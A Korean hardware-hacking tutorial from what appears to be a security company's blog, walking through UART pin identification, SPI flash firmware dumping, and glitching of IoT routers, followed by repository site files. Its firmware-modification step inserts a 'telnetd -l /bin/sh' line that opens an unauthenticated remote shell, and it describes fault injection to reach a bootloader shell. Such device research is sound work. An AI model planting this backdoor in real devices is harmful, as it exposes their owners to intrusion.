UART 연결에 필요한 장비는 다음과 같습니다.

+ + + + + + + + + + + + + + + + + + + + + + +
장비역할
USB to TTL기기의 UART와 PC 간 시리얼 통신을 위한 USB Converter
점퍼 케이블(optional)USB to TTL과 기기의 UART 핀을 연결하는 케이블
MultiMeter전기 및 전자 장비의 전압, 전류, 저항 등을 측정하는 테스트기
+ +

2.2.1. UART의 종류

+ +

UART에 연결하기 전 기기마다 가질 수 있는 UART 형태의 종류를 알아보겠습니다.

+ +

ipTIME N704VS router UART PIN

+ +

ipTIME N704VS router UART PIN

+ +

ipTIME N704VS 라우터의 경우, UART에 핀 헤더가 연결되어 있기 때문에 각 핀의 역할만 찾으면 바로 USB to TTL과 연결하여 Serial 통신이 가능합니다.

+ +

Netis router UART PIN

+ +

Netis router UART PIN

+ +

Netis 라우터의 UART 핀입니다. 대부분의 UART 핀은 위 사진과 같이 4개의 패드로 존재합니다. 이러한 경우 암-수 점퍼 케이블을 연결하거나, 홀에 헤더핀을 납땜하여 암-암 점퍼케이블로 USB to TTL과 연결할 수 있습니다.

+ +

2.2.2. 점퍼 케이블 종류

+ +

점퍼 케이블의 종류는 다음과 같습니다.

+ + + + + + + + + + + + + + + + + + + + + + +
케이블 명설명
암-암 점퍼 케이블케이블 헤더에 핀이 존재하지 않아 UART 핀과 탈부착할 수 있는 케이블
암-수 점퍼 케이블케이블의 한쪽 헤더에만 핀이 고정 되어있는 케이블
수-수 점퍼 케이블케이블의 양쪽 헤더에 핀이 고정 되어있는 케이블
+ +

일반 USB to TTL은 별도의 암-수 점퍼 케이블이나 암-암 점퍼 케이블과 핀 헤더가 필요합니다.

+ +

케이블 일체형 USB to TTL은 암-암 점퍼 케이블이 내장되어 있어 별도의 암-암 점퍼 케이블 없이도 UART 핀에 연결할 수 있습니다. 각 UART 핀의 역할을 점퍼 케이블의 색깔로 구분하여 연결합니다.

+ +

2.2.3. UART Pin의 종류

+ +

UART Pin drawio

+ +

UART 핀의 각 역할은 다음과 같습니다.

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
UART 핀역할
GND메인 보드의 기준 전압을 맞춰주는 핀
TX시리얼 데이터를 송신하는 핀
RX시리얼 데이터를 수신하는 핀
VCC전원을 공급하는 핀
+ +

하드웨어 기기에 전원 케이블을 통해서 전원 공급이 가능하다면 VCC 핀은 연결하지 않습니다.

+ +

UART 핀의 역할을 알아보았으니 각 UART 핀을 식별해 봅시다.

+ +

2.3. UART PIN 식별

+ +

2.3.1. UART GND PIN 식별

+ +

UART의 GND 핀은 멀티미터를 통해 찾을 수 있습니다. 멀티미터의 Conductivity 모드는 전기회로가 서로 연결 되어있을 때 부저음을 출력합니다. PCB1에서 SPI Flash 칩의 GND 핀과 UART의 GND 핀은 연결되어 있습니다.

+ +

따라서 SPI Flash 칩의 GND 핀 위치를 찾고 각 UART 핀과 한번씩 연결해보는 방식으로 부저음을 통해서 UART의 GND 핀을 찾을 수 있습니다.

+ +

(1) SPI Flash Chip GND PIN → UART GND PIN

+ +

SPI Flash 칩에서 GND 핀 위치는 데이터 시트를 통해 찾을 수 있습니다. SPI Flash 칩의 모델명을 확인하여 데이터 시트를 검색합니다.

+ +

SPI Flash chip

+ +

SPI Flash chip datasheet

+ +

SPI Flash chip datasheet table

+ +

데이터 시트를 통해 SPI Flash 칩의 GND 핀은 점을 기준으로 4번째 핀인 VSS 핀임을 알 수 있습니다.

+ +

이제 UART의 GND 핀을 식별해봅시다. 기기에 전원을 공급하지 않은 상태에서, 멀티미터를 Conductivity 모드로 설정합니다.

+ +

conductivity mode

+ +

멀티미터의 검은 리드선2을 SPI Flash 칩의 GND 핀에 고정한 상태에서 빨간 리드선을 각 UART 핀에 한번씩 연결합니다.

+ +

(2) Other Method

+ +

데이터시트를 찾지 못한 이유로 SPI Flash 칩의 GND 핀 위치를 찾지 못할 수 있습니다. 해당 경우에는 멀티미터의 검은 리드선을 PCB의 구리 홀에 연결하고, 빨간 리드선을 각 UART 핀에 한번씩 연결하여 UART의 GND 핀을 찾을 수 있습니다.

+ +

2.3.2. TX & RX 식별

+ +

(1) MCU와 UART의 단락 상태 검사

+ +

UART의 TX, RX핀은 MCU의 TX와 RX 핀과 연결되어 있습니다. 이를 이용해서 MCU의 TX와 RX 핀을 찾고 멀티미터 Conductivity 모드로 UART의 TX와 RX 핀을 찾을 수 있습니다.

+ +

mcu

+ +

경우에 따라 MCU 위에 방열판이 덮고 있을 수 있습니다. MCU를 덮고 있는 방열판을 제거하고 MCU 칩 정보를 확인하여 데이터 시트를 검색합니다:

+ +

mcu datasheet

+ +

mcu datasheet table

+ +

UART 핀은 125번 핀과 126번 핀입니다. MCU의 기준점(사진의 빨간 동그라미)을 바탕으로 125번, 126번 핀의 실제 위치를 찾을 수 있습니다.

+ +

mcu highlighted

+ +

이제 기기에 전원을 공급하지 않은 상태에서 멀티미터를 Conductivity 모드로 설정합니다. 검은색 리드선을 MCU의 RX에 고정하고 빨간색 리드선을 각 UART 핀에 연결했을 때, 부저음을 출력하는 핀이 UART의 RX 핀입니다. TX도 같은 방식으로 식별해봅시다.

+ +

(2) 핀의 전압, 전류 측정

+ +

이번에는 MCU의 데이터시트가 없어 RX와 TX를 찾지 못한 경우에 UART의 RX와 TX 핀을 식별할 수 있는 방법을 사용해봅시다.

+ +

멀티미터를 DCV(직류전압) 모드로 설정한 후 검은색 프로브를 COM 단자, 빨간색 프로브를 V-Ω 단자에 연결합니다. 기기에 전원을 공급한 후, 검은색 리드선을 기기의 GND와 접촉하고, 빨간색 리드선은 식별하고자 하는 UART핀과 접촉하여 전압을 측정합니다.

+ +

dcv

+ +

일반적으로 전압이 2.4V ~ 3.3V 사이를 지속적으로 변한다면 TX 핀, 전압이 0.0V이면 RX 핀입니다. TX 핀은 다양한 데이터를 송신하기 때문에 2.4V ~ 3.3V 사이에서 전압이 지속적으로 변합니다. RX 핀은 송신 행위 없이 데이터를 수신하는 역할만 수행하기 때문에 0.0V의 전압을 띄고 있습니다. 하지만 전원이 들어온 상태에서 TX와 RX의 전압을 측정할 때 노이즈가 발생하므로 경우에 따라 UART의 TX와 RX 전압이 거의 동일하게 측정됩니다.

+ +

전압으로 TX와 RX를 구분할 수 없는 경우라면 전류를 측정하여 구분해봅니다. 멀티미터를 DCA(직류 전압) 모드로 설정한 후 검은색 프로브는 COM 단자에, 빨간색 프로브는 전류측정단자(~mA)에 연결합니다. 검은색 리드선은 기기의 GND와 접촉하고 빨간색 리드선은 식별대상 UART 핀에 접촉합니다. 기기에 전원을 공급한 후 측정되는 전류를 관찰합니다. 일반적으로 VCC, GND, RX는 전류가 흐르지 않고(0mA) TX의 경우에만 23mA~44mA 사이의 전류가 흐르고 있습니다.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
modePIN1PIN2PIN3PIN4
DCV0 V0 V3.25 V3.25 V
DCA0 mA0 mA23.4 mA-
 GNDRXTXVCC
+ +
    +
  • TIP: 멀티미터를 통한 RX, TX 구분이 어렵다면 : +
      +
    • MCU의 데이터시트를 참고하여 정확하게 식별합니다.
    • +
    • 일단 RX, TX를 임의로 가정한 후 뒤의 과정대로 연결 수행 → 시리얼 통신 시 아무 반응이 없다면 바꿔서 연결합니다.
    • +
    +
  • +
+ +

2.4. Baud Rate란

+ +

GND, TX, RX 핀을 모두 식별하였으니 UART 통신에 필요한 Baud Rate 개념을 알아야 합니다.

+ +

Baud Rate는 1초에 전송할 수 있는 symbol3의 수입니다. 따라서 IoT 기기와 UART Serial 통신을 하기 위해서는 각 기기마다 사용하는 Baud Rate에 맞춰 통신 속도를 설정해야 합니다.

+ +

아래는 UART에서 흔히 사용하는 Baud Rate 리스트입니다. 115200 이하 값을 주로 사용합니다.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Baud Rate
4147200
921600
576000
460800
115200
57600
38400
28800
19200
9600
4800
2400
1200
+ +

Baud Rate 개념까지 알았으니 다음으로는 USB to TTL을 통해 UART Serial 통신을 해봅시다.

+ +

위의 값들이 아닌 다른 Baud Rate 값을 사용한다면, Logical Analyzer를 사용하거나 기기 이름의 buad rate에 대해 검색하는 등의 방법을 사용할 수 있습니다.

+ +

2.5. UART 연결

+ +

2.5.1. Mac 환경

+ +

본 항목에서는 Mac 환경에서의 UART 연결 방법에 대해서 다루겠습니다. Serial 통신 콘솔을 위해 minicom 프로그램을 사용합니다.

+ +

점퍼 케이블을 사용해 USB to TTL의 케이블을 UART핀에 연결 합니다. 각 케이블의 역할은 아래와 같습니다.

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
케이블 색USB to TTL 핀UART 핀
검은색GNDGND
흰색RXTX
청록색TXRX
+ +

연결 시 UART의 TX 핀에는 USB to TTL의 RX 케이블을, UART RX 핀에는 USB to TTL의 TX 케이블을 연결하도록 주의해야 합니다. IoT 기기에서 송신한 데이터를 USB to TTL이 수신하고, USB to TTL이 송신한 데이터를 IoT 기기가 수신하기 때문입니다.

+ +

lsusb

+ +

USB to TTL의 USB 포트는 PC에 연결합니다. lsusb 명령어를 사용해서 USB to TTL이 PC에 제대로 연결되었는지 확인할 수 있습니다. minicom의 Serial 장치를 설정하기 위해 ls /dev | grep usb 명령어로 연결된 USB to TTL의 장치 이름을 확인합니다.

+ +

list dev directory

+ +

minicom setting

+ +

USB to TTL의 장치 이름을 알았으니 minicom -s 명령어로 UART 통신을 설정합니다. Serial 장치를 설정하고 Baud Rate를 38400으로 설정하여 UART 통신 시 출력이 제대로 되는지 확인합니다. 만약 출력 결과를 읽을 수 없다면 Baud Rate를 바꿔가면서 정확한 값을 구할 수 있습니다.

+ +

Baud Rate을 바꿔줄 때마다 장치 재부팅이 필요합니다. 부트 로그가 UART로 모두 출력되었다면 더 이상 출력할 데이터가 없습니다. 이 때문에 재부팅 없이 Baud Rate 값만 바꿔주면 값이 올바른지 여부가 의심스럽습니다. 따라서 Baud Rate 테스트를 진행할 때 기기를 재부팅해야 모든 부트 로그를 확인할 수 있습니다.

+ +

uart

+ +

확인 결과 부트로그가 제대로 출력 되었습니다.

+ +

2.5.2. Windows 환경

+ +

본 항목에서는 Windows 환경에서 UART를 연결해보겠습니다. Serial 통신을 위해서 PuTTY 프로그램을 사용한다는 점이 Mac 환경과 다릅니다.

+ +

USB to TTL의 점퍼 케이블을 IoT 기기의 UART에 연결한 후 PC에 USB를 연결합니다. 내 컴퓨터 > 장치관리자포트 탭에서 USB to TTL이 PC에 올바르게 인식되는지 확인할 수 있습니다. PuTTY의 Serial line을 설정하기 위해 인식된 USB to TTL 장치의 이름을 확인합니다. (만약 포트 탭에 장치가 인식되지 않는다면, 기타 장치 탭을 확인해봅시다. 기타 장치로 인식되었다면 드라이버를 설치해야 합니다.)

+ +

windows device manager

+ +

Serial 장치를 설정한 후 정확한 Baud Rate 값을 구합니다. UART 통신을 모두 설정하였다면 IoT 기기의 전원을 공급하여 부팅 시 로그가 출력 되는지 확인합니다.

+ +

putty setting

+ +

putty

+ +

3. SPI 통신으로 펌웨어 추출하기

+ +

3.1. SPI란

+ +

I2C drawio

+ +

SPI 통신을 이해하기 위해서는 먼저 I2C 통신을 알아야 합니다. I2C(Inter-Integrated Circuit)는 2개의 직렬 버스로 여러 디바이스와 통신할 수 있는 프로토콜입니다. 한 개의 Master 디바이스와 여러 Slave 디바이스로 구성될 수 있습니다. 2개의 직렬 버스 중 SDA 선은 시리얼 데이터를 송수신하는 버스이고, SCL 선은 Master가 생성한 기준 클럭을 전송하는 버스입니다. 따라서 Master 디바이스에서 기준 클럭을 생성하고 해당 클럭에 맞춰서 I2C 통신에서는 반이중(Half-Duplex) 방식으로 시리얼 데이터를 송수신하게 됩니다.

+ +

SPI drawio

+ +

SPI(Serial Peripheral Interface)는 I2C 통신 방식과 비슷한 방식이며, MCU와 주변 회로 간 통신에서 가장 널리 사용되는 통신 방식입니다. SPI 통신은 I2C 통신과 다르게 전이중(Full-Duplex) 방식으로 시리얼 데이터를 송수신합니다. 또한 MOSI 선, MISO 선, Clock 선과 SS 선이 사용됩니다.

+ +
    +
  • MOSI(Master Out Slave IN) 선 : Master → Slave 시리얼 데이터 전송 선
  • +
  • MISO(Master In Slave Out) 선 : Slave → Master 시리얼 데이터 전송 선
  • +
  • Clock(SCLK, CLK) 선 : 동기화 신호를 위한 클럭 전송 선
  • +
  • +

    SS, CS(Slave Select, Chip Select) 선 : 여러 Slave 디바이스 중 통신을 위해 시리얼 데이터를 보낼 경로를 결정하는 신호 선

    + +

    Master 디바이스가 Slave 디바이스로 시리얼 데이터를 전송하면, Slave 디바이스의 Shift Register 데이터는 1 클럭 당 1 비트의 시리얼 데이터가 MSB(Most Significant Bit) 혹은 LSB(Least Significant Bit) 방식으로 shift 되어 데이터가 저장되는 구조로 동작합니다.

    +
  • +
+ +

3.2. 방법

+ +

일반적으로 MCU는 부팅 단계에서 SPI Flash 칩과 통신하여 펌웨어를 얻습니다. 우리는 동일한 방법을 통해서 SPI Flash 칩으로부터 펌웨어를 얻으려고 합니다. 따라서 SPI Flash 칩의 데이터 시트를 참고하여 SPI 통신에 필요한 정보를 수집해야 합니다.

+ +

저희는 flashrom4 프로그램을 사용할 것입니다. flashrom은 Flash 칩을 식별하여 reading, writing, verifying, erasing 등의 작업을 수행해주는 유틸리티 프로그램입니다. 476개 이상의 Flash 칩, 291개의 칩셋, 500개의 메인보드 등과 통신할 수 있습니다. 따라서 SPI Flash 칩의 데이터시트에 명시된 명령어들을 몰라도 flashrom 명령어를 통해 읽기, 쓰기 등의 작업을 수행할 수 있습니다.

+ +

최신 버전의 flashrom을 라즈베리파이에 빌드하여 사용합니다.

+ +

SPI Flash 칩의 데이터시트에서 핀 맵을 확인합니다. 이를 라즈베리파이의 SPI 핀과 매핑합니다.

+ +

3.3. SOIC Test-Clip 사용

+ +

데이터 시트를 참고하여 암-암 점퍼 케이블로 라즈베리파이와 SOIC-CLIP을 연결해줍니다.

+ + + + + + + + + + + + + + + + + + + + + + +
사용 장비역할
POMONA SOIC-CLIP점퍼케이블로 8 PIN SOIC와 연결할 수 있게 해준다.
라즈베리파이flashrom을 실행하여 flash memory와 통신
분석용 PC라즈베리파이에 접속(ssh)
+ +

펌웨어 추출 과정

+ +

분석용 PC와 라즈베리파이를 같은 네트워크 대역에 연결한 후, PC에서 라즈베리파이에 접속합니다.

+ +
$ ssh user@xxx.xxx.xxx.xxx
+
+ +

라즈베리파이에서 flashrom을 이용해 firmware를 추출합니다.

+ +
$ sudo flashrom -p linux_spi:dev=/dev/spidev0.0 -r [filename]
+
+ +

추출한 펌웨어를 binwalk를 이용해서 분석합니다. binwalk는 펌웨어와 같은 바이너리 파일의 구조을 분석하고, 펌웨어에 포함된 파일을 추출 및 압축 해제할 수 있는 도구입니다. binwalk는 파일 시그니처를 기반으로 바이너리 파일의 구조를 분석해줍니다.

+ +
    +
  • +

    펌웨어 구조 확인

    + +
    $ binwalk [filename]
    +
    + +
    user@raspberrypi:~/ $ flashrom -p linux_spi:dev=/dev/spidev0.0 -r firmware.bin -c "EN25QH32B"
    +flashrom 1.4.0-devel (git:v1.2-1386-g5106287e) on Linux 6.1.0-rpi6-rpi-v8 (aarch64)
    +flashrom is free software, get the source code at https://flashrom.org
    +
    +Using clock_ gettime for delay loops (clk_id: 1, resolution: 1ns).
    +Using default 2000kHz clock. Use 'spispeed' parameter to override.
    +Found Eon flash chip "EN25QH32B" (4096 kB, SPI) on linux_spi.
    +ニニニ
    +This flash part has status UNTESTED for operations: WP
    +The test status of this chip may have been updated in the latest development version of flashrom. If you are running the latest development version, please email a report to flashrom@flashrom.org if any of the above operations work correctly for you with this flash chip. Please include the flashrom log file for all operations you tested (see the man page for details), and mention which mainboard or programmer you tested in the subject line.
    +Thanks for your help!
    +Reading flash... done.
    +
    +user@raspberrypi:~/ $ binwalk firmware.bin
    +DECIMAL		HEXADECIMAL	  DESCRIPTION
    +------------------------------------------------------------------------------
    +5360		  0x14F0		    LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 60784 bytes
    +65584		  0x10030		    gzip compressed data, maximum compression, from Unix, last modified: 2013-12-31 15:00:48
    +141408		0x22860		    LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 4119960 bytes
    +1441792		0x160000	    Squashfs filesystem, little endian, version 4.0, compression:xz, size: 2489160 bytes, 1364 inodes, blocksize: 131072 bytes, created: 2021-04-19 03:14:42
    +
    +
  • +
+ +

추출된 결과의 상단에는 LZMA, gzip으로 압축된 파일들이 보이고, 그 밑에 SquashFS filesystem이 파일을 확인할 수 있습니다. SquashFS는 경량 리눅스 디바이스에서 사용하는 읽기 전용 파일시스템으로, 여러 파일과 디렉토리를 단일 파일에 압축하여 저장할 수 있습니다.

+ +

offset을 확인했을 때 앞부분부터 끝까지 잘 식별한 걸 보니, 펌웨어가 잘 추출된 것 같습니다. 만약 펌웨어를 제대로 읽지 못했다면, 3.4. Desoldering 과정으로 진행합니다.

+ +

3.4. Desoldering

+ +

여기서는 땜납을 녹여 직접 SPI Flash 칩을 떼어낸 후 펌웨어를 추출하겠습니다. 3.2. 과정에서 펌웨어 추출에 성공하였다면, Desoldering 과정은 생략하여도 괜찮습니다.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
장비역할
Heat gun뜨거운 바람으로 납을 녹인다.
SOP8 - DIP8 변환 소켓8핀 flash chip의 핀을 점퍼케이블(DIP) 핀 규격으로 변환해주는 어댑터
라즈베리파이flashrom을 실행하여 flash memory와 통신
분석용 PC라즈베리파이에 접속(ssh)
핀셋Flash 칩을 PCB 기판에서 분리할 때 사용. 없어도 괜찮지만 있으면 매우 편리하다.
+ +

SPI Flash 칩을 PCB 기판에서 떼어낸 후 펌웨어를 추출하는 이유는 PCB 기판의 노이즈를 줄여 펌웨어를 정상적으로 추출하기 위해서 입니다.

+ +

히트건으로 납을 데워 녹이고(저희는 온도 380도, 바람세기 6으로 설정하였습니다), 핀셋으로 SPI Flash 칩을 들어내면 PCB 기판으로부터 분리할 수 있습니다.

+ +

분리한 SPI Flash 칩을 SOP8-DIP8 변환 소켓에 꽂아주고, 암-암 점퍼케이블을 사용해 라즈베리파이와 연결합니다. 이후 과정은 3.3. SOIC Test-Clip 사용 - 펌웨어 추출 과정과 동일하게 진행합니다.

+ +

4. 펌웨어 조작(Fusing)

+ +

성공적으로 firmware.bin 이름의 펌웨어 파일을 획득했습니다. 본 항목에서는 펌웨어의 파일시스템만 추출할 것입니다.

+ +
user@raspberrypi:~/ $ binwalk firmware.bin
+DECIMAL		HEXADECIMAL	  DESCRIPTION
+------------------------------------------------------------------------------
+5360		  0x14F0		    LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 60784 bytes
+65584		  0x10030		    gzip compressed data, maximum compression, from Unix, last modified: 2013-12-31 15:00:48
+141408		0x22860		    LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 4119960 bytes
+1441792		0x160000	    Squashfs filesystem, little endian, version 4.0, compression:xz, size: 2489160 bytes, 1364 inodes, blocksize: 131072 bytes, created: 2021-04-19 03:14:42
+
+ +

binwalk 명령어의 분석 결과에서 파일시스템을 찾고, 파일시스템 시작 offset과 size를 확인합니다. 파일시스템의 offset에 맞춰, dd 명령어로 파일시스템을 추출할 수 있습니다. skip은 추출하려는 파일의 시작 오프셋, count는 크기를 의미합니다. skip값과 count값은 10진수로 전달해주어야 합니다.

+ +
$ dd if=./firmware.bin of=./extract_squashfs skip=[1441792] bs=1 count=[2489160]
+
+ +

저희의 분석장비 펌웨어에서 사용하는 파일시스템은 SquashFS 파일시스템입니다. 따라서 squashfs-tools를 사용하여 분석을 진행하겠습니다.

+ +

firmware.bin 파일을 skip부터 count까지를 추출하여 extract_squashfs로 저장하였습니다.

+ +

unsquashfs를 사용해서 파일시스템을 마운트합니다.

+ +
$ sudo apt install squashfs-tools
+$ sudo unsquashfs ./extract_squashfs
+
+ +

위 과정을 통해 파일시스템의 squashfs-root 를 획득하였습니다!

+ +

dd extraction

+ +

여기서 기기가 부팅된 후 초기에 실행되는 코드를 조작해보겠습니다.

+ +

기기가 부팅될 때 가장 처음 실행되는 코드를 찾아봅시다. 보통은 /etc/init.d에 위치한 rcS가 가장 먼저 실행됩니다. 저희 분석 장비에서는 /default/rcS 입니다.

+ +

inittab

+ +

해당 파일의 제일 마지막줄에 원하는 명령어를 추가해볼겁니다.

+ +

/bin /sbin /usr/bin /usr/sbin 에서 사용 가능한 명령어들을 찾아봅시다. 제일 관심 있는 명령어는 telnet이나 telnetd 입니다.

+ +

sbin

+ +

telnetd

+ +

/default/rcS 마지막줄에 아래 명령어를 추가합니다.

+ +
/usr/sbin/telnetd -l /bin/sh
+
+ +

firmware modify

+ +

이 명령어가 실행되면 부팅 후 telnet을 통해 /bin/sh에 접속할 수 있을 것입니다.

+ +

이제 우리가 삽입한 코드를 원본 파일시스템에 패치합니다.

+ +
    +
  • 수정한 파일 시스템을 원본 파일시스템에 패치 +
    $ sudo mksquashfs squashfs-root squashfs_patched -comp xz
    +
    +

    recompression

    +
  • +
+ +

hex editor를 사용해 펌웨어의 파일시스템 영역을 조작한 파일 시스템으로 바꾸겠습니다. 파일시스템이 조작된 펌웨어를 firmware_patched.bin 으로 저장합니다.

+ +

010 hexeditor

+ +

조작한 펌웨어인 firmware_patched.bin을 기기의 SPI Flash 칩에 다시 써주면 완성입니다.

+ +
$ sudo flashrom -p linux_spi:dev=/dev/spidev0.0 -w firmware_patched.bin
+
+ +

5. Soldering

+ +

앞서 SPI Flash 칩을 디솔더링하여 분리하였다면 부팅을 위해 다시 기기의 PCB 기판에 연결해야합니다.

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
장비역할
솔더 페이스트Flux를 포함하고 있어 납의 칙소성을 높여준다.
인두기납을 데워서 녹인다.
납실PCB와 Flash memory를 결합하여 고정한다.
면봉납땜 후 잔여물을 닦아내는 데 사용한다.
+ +

솔더 페이스트를 PCB 기판 위에 바르고 그 위에 인두기로 납을 녹여서 문지르면 납이 동그랗고 예쁘게 올라갑니다. SPI Flash 칩을 원위치에 올리고, 열풍기로 납을 살짝 녹여 리솔더링을 해줍니다.

+ +

solder paste

+ +

resoldering

+ +

6. Glitching

+ +

Fault Injection이라고도 하는 글리칭은 제조 시의 한계를 벗어나는 조건으로 공격 대상 장치에서 고장을 유발합니다. 이를 통해 인증 우회, 미인가된 코드 접근, 로직 값 변경, 장치의 종료 또는 재시작 등의 결과를 이끌어냅니다. 글리칭 공격 방법에는 여러 가지가 있는데, 전압 글리칭, 클록 글리킹, 전자기 폴트 인젝션, 광학 폴트 인젝션이 그 예시입니다.

+ +

이 중 별도의 장비 없이 수-수 점퍼케이블로 해볼 수 있는 Serial Data Output Fault Injection을 수행해보겠습니다. 이 방법은 MCU가 펌웨어를 얻지 못하는 오류를 유발하는 공격입니다. 부팅 중 MCU가 펌웨어를 얻지 못했을 때의 결과가 제조사마다 다르고, 정교한 오류상태를 주입하는 것이 아니기 때문에 성공률이 높지 않은 편입니다.

+ +

SPI Flash chip glitching point

+ +

SPI Flash chip glitching

+ +

우선, 데이터시트를 참고하여 SPI Flash 칩의 Serial Data Output 핀과 GND 핀의 위치를 알아냅니다. 그리고 SPI Flash 칩의 Data Output 핀과 GND 핀을 수-수 점퍼 케이블로 연결합니다. MCU가 SPI Flash로 펌웨어를 요청했을 때의 output 데이터가 MCU가 아닌 GND 핀으로 빠지고, 결과적으로 MCU가 펌웨어를 제대로 얻지 못하게 됩니다.

+ +

bootloader shell

+ +

UART를 연결한 상태에서 Serial Data Output Faul Injection 공격을 수행하였고, 부팅이 정상적으로 이루어지지 않은 결과로 부트 로더의 쉘에 접근이 가능해졌습니다.

+ +

부트 로더의 Memory Reading을 통해 펌웨어를 추출할 수 있습니다.

+ +

7. 마치며

+ +

본 과정을 거쳐 기기의 원본 펌웨어를 얻을 수 있었고, 원격으로 쉘 접속이 가능해졌습니다. 따라서 취약점을 디버깅하기에 수월한 환경 구성이 끝나게 되었습니다.

+ +

본 글 작성을 도와주신 김도현 팀장님과 임원빈 선임연구원님, 구본근 선임연구원님을 비롯한 선제대응팀 팀원분들께 감사드립니다.

+ +

모두 즐거운 하드웨어 해킹하세요!👽

+ +
+ +

[각주]

+ +
+
    +
  1. +

    Printed Curcit Board, 인쇄회로조립체 

    +
  2. +
  3. +

    일반적으로 검은색 선은 (-), 빨간색 선은 (+)이다. 따라서 검은색 리드선을 GND에 연결한다. 

    +
  4. +
  5. +

    symbol, 의미있는 데이터 묶음 

    +
  6. +
  7. +

    flashrom 빌드 방법

    + +

    칩에 접근하는 모든 작업에 -p 또는 --programmer 옵션을 사용해야 한다.

    + +

    -p <programmername>[:<parameters>]

    + +
      +
    • linux_spi (for SPI flash ROMs accessible via /dev/spidevX.Y on Linux)
    • +
    + +

    -r, --read <file>

    + +

    -w, --write <file>

    + +

    -c, -chip <chipname> 

    +
  8. +
+
+ +
+
+
+ +
+
+
이주협, 이주영
+
jhlee2@stealien.com, jylee3@stealien.com
+
+
+
+
+ +
+
+
RECENT POST
+
+
+
+ +
이주협, 이주영
+
+
+
+ +
+ 뉴비들의 하드웨어 해킹 입문기 +
+
+
뉴비들의 하드웨어 해킹 입문기
+ +
+
+
+
+ +
Hyerim Jeon
+
+
+
+ +
+ Android Malware : 사마귀 해부학 +
+
+
about Roaming Mantis
+ +
+
+
+
+
+ +
+ diff --git a/docs/404.html b/docs/404.html new file mode 100644 index 0000000..c500e19 --- /dev/null +++ b/docs/404.html @@ -0,0 +1,37 @@ + + + + + + + + + + + +
+

404

+ +

Page not found :(

+

The requested page could not be found.

+
+ + diff --git a/docs/CNAME b/docs/CNAME new file mode 100644 index 0000000..46261dd --- /dev/null +++ b/docs/CNAME @@ -0,0 +1 @@ +ufo.stealien.com \ No newline at end of file diff --git a/docs/README.md b/docs/README.md new file mode 100644 index 0000000..d7c2960 --- /dev/null +++ b/docs/README.md @@ -0,0 +1,96 @@ +# 스틸리언 기술블로그 + +## 환경 구성 +스틸리언 기술블로그는 ruby jekyll 라이브러리 기반으로 구성됩니다. 아래 명령어를 통해 미리 블로그 글 배포 전 환경 구성을 해주시길 바랍니다. + +```bash +sudo gem install bundler:2.2.26 +bundle install +``` + +위 명령어 입력 후에 아래 명령어를 입력해서 환경 구성이 잘 되었는지 확인하실 수 있습니다. +```bash +bundle exec jekyll build +``` +위 명령어를 입력하셨을 때 아무런 오류 메시지가 없다면 환경구성이 완료되었다고 보시면 됩니다. + +## 파일 구조 설명 +- `_includes/`: `_layouts/` 디렉터리 내 파일에 의해 참조되는 파일들이 저장되는 디렉터리입니다. +- `_layouts/`: 가장 기본이 되는 템플릿 파일이 저장되는 디렉터리입니다. +- `_posts`: 글 올리실 때 여기 디렉터리에 파일을 생성해주시면 됩니다. +- `_site`: jekyll build 후 파일이 저장되는 디렉터리입니다. 지우셔도 무방합니다. +- `docs/`: 실제 블로그가 보이는 html 파일들이 저장되는 디렉터리입니다. +- `assets/`: 이미지, pdf 등 첨부파일 저장용 디렉터리입니다. + +## 배포 관련 + +인니어를 지원하기 위해서 불가피하게 ``jekyll-polyglot`` 라이브러리를 사용하게 되었습니다. +따라서 기술블로그 업로드 전 별도 빌드 과정이 필요합니다. 배포하기 전 **환경 구성**해주시고 아래 명령어를 입력해주시기 바랍니다. + +```bash +./publi.sh +``` + +명령어 실행 후 github credential을 입력하면 배포가 완료됩니다. + + +## 블로그 글 작성 시 유의사항 +### 1. 파일 업로드 관련 + +큰 파일은 되도록 다른 링크(e.g. 구글 드라이브 등)를 사용해주시기 바랍니다. +큰 파일이 올라갈수록 (당연하게도) github repository 크기가 커지고, +github 내에서 `docs/` 내용을 실제 서버로 업데이트 할 때 시간이 많이 소요됩니다. + +### 2. 글 작성 관련 + +**📌 매우 중요합니다** + +한국어와 인니어 글 구분을 위해 `_posts/` 내 파일을 생성하실 때 ``YYYY-MM-DD-[title]-(ko|id).(md|markdown)`` 규칙을 지켜서 생성해주시기 바랍니다. + +#### e.g. 세준님 글 +- 한국어 버전 파일 이름: `2021-10-13-MikroTik-PostAuth-RCE-ko.markdown` +- 인니어 버전 파일 이름: `2021-10-13-MikroTik-PostAuth-RCE-id.markdown` + +### 3. 글 메타데이터 설정 관련 + +아래 형식을 따라 작성해주시기 바랍니다. + +``` +--- +layout : post +markdown : kramdown +highlighter : rouge +title : [제목] +date : [업로드 날짜] +category : [글 카테고리 (R&D|Dev|ETC)] +author : [이름] +author_email : [이메일] +background : /assets/bg.png +profile_image : [프로필 사진 링크] +summary : [글 한줄 요약 혹은 무제] +thumbnail : /assets/stealien.png +lang : ko +permalink : [글 링크] +--- +``` + +#### 예시 + +``` +--- +layout : post +markdown : kramdown +highlighter : rouge +title : Analyzing Django ORM with 1-day vulnerabilities and sql bug +date : 2022-12-16 00:00:00 +0900 +category : R&D +author : Seokchan Yoon +author_email : scyoon@stealien.com +background : /assets/bg.png +profile_image : /assets/2022-10-04-Secure-Coding-Training-System/profile.jpeg +summary : "Let's analyze django, the king of Python web library" +thumbnail : /assets/stealien.png +lang : ko +permalink : /2022-12-16/analyzing-django-orm-with-1-day +--- +``` diff --git a/docs/about/index.html b/docs/about/index.html new file mode 100644 index 0000000..1a4e146 --- /dev/null +++ b/docs/about/index.html @@ -0,0 +1,97 @@ + + + + + + + + + + +About + +About | STEALIEN Technical Blog + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+
+
+
+
+

This is the base Jekyll theme. You can find out more info about customizing your Jekyll theme, as well as basic Jekyll usage documentation at jekyllrb.com

+ +

You can find the source code for Minima at GitHub: +jekyll / +minima

+ +

